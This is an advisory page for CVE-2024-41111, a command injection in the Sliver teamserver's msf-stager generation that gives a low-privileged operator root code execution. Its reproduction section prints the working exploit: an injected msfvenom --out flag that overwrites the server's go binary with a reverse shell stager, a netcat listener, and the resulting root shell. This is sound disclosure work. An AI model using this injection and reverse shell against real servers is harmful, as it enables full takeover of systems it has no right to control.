Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: GSA_kwCzR0hTQS1oYzV3LWd4eHItdzh4OM4AA9_5

Sliver Allows Authenticated Operator-to-Server Remote Code Execution

Description

Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user.

Impact

As described in a past issue, "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server.

Reproduction

First configure the Sliver server in multiplayer mode and add an operator profile.

Next, compile a slightly older version of the Sliver client. The commit after 5016fb8d updates the Cobra command-line parsing library in the Sliver client to strictly validate command flags.

git checkout 5016fb8d
VERSION=1.6.0 make client

The latest server version is targeted:

All hackers gain exalted
[*] Server v1.6.0 - bdfd89167dd47aece2397c638d482f94f3f91cba
[*] Client 1.6.0 - 5016fb8d7cdff38c79e22e8293e58300f8d3bd57
[*] Welcome to the sliver shell, please type 'help' for options`

The exploit uses a command injection in the generate msf-stager to inject the --out flag to msfvenom. We overwrite Sliver's own go binary at /root/.sliver/go/bin/go:

sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/go

[*] Sliver implant stager saved to: [...]

The other injected flags are to force a Linux payload, and not necessary if running the Sliver server on Windows.

If you check the saved implant locally on the client, it's 0 bytes as the output got written to the file on the server instead.

On the attacking machine, setup a netcat shell:

$ nc -lvp 8888
Listening on 0.0.0.0 8888

Trigger the stager by running a command which executes /root/.sliver/go/bin/go:

sliver > generate beacon --mtls 1.2.3.4
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
 ⠼  Compiling, please wait ...

A root shell will pop:

$ nc -lvp 8888
Listening on 0.0.0.0 8888
Connection received on 192.168.0.183 39238
whoami
root

The vulnerable code was introduced in https://github.com/BishopFox/sliver/pull/1281

Permalink: https://github.com/advisories/GHSA-hc5w-gxxr-w8x8
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oYzV3LWd4eHItdzh4OM4AA9_5
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 2 months ago
Updated: about 1 month ago


CVSS Score: 8.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-hc5w-gxxr-w8x8, CVE-2024-41111
References: Repository: https://github.com/BishopFox/sliver
Blast Radius: 0.0

Affected Packages

go:github.com/bishopfox/sliver
Dependent packages: 3
Dependent repositories: 1
Downloads:
Affected Version Ranges: >= 1.5.40, <= 1.6.0-dev
Fixed in: 1.6.0
All affected versions: 1.5.40, 1.5.41, 1.5.42
All unaffected versions: 1.1.0, 1.1.1, 1.2.0, 1.2.1, 1.3.0, 1.3.1, 1.4.0, 1.4.1, 1.4.2, 1.4.3, 1.4.4, 1.4.5, 1.4.6, 1.4.7, 1.4.8, 1.4.9, 1.4.10, 1.4.11, 1.4.12, 1.4.13, 1.4.14, 1.4.15, 1.4.16, 1.4.17, 1.4.18, 1.4.19, 1.4.20, 1.4.21, 1.4.22, 1.5.0, 1.5.1, 1.5.2, 1.5.3, 1.5.4, 1.5.5, 1.5.6, 1.5.7, 1.5.8, 1.5.9, 1.5.10, 1.5.11, 1.5.12, 1.5.13, 1.5.14, 1.5.15, 1.5.16, 1.5.17, 1.5.18, 1.5.19, 1.5.20, 1.5.21, 1.5.22, 1.5.23, 1.5.24, 1.5.25, 1.5.26, 1.5.27, 1.5.28, 1.5.29, 1.5.30, 1.5.31, 1.5.32, 1.5.33, 1.5.34, 1.5.35, 1.5.36, 1.5.37, 1.5.38, 1.5.39, 1.15.16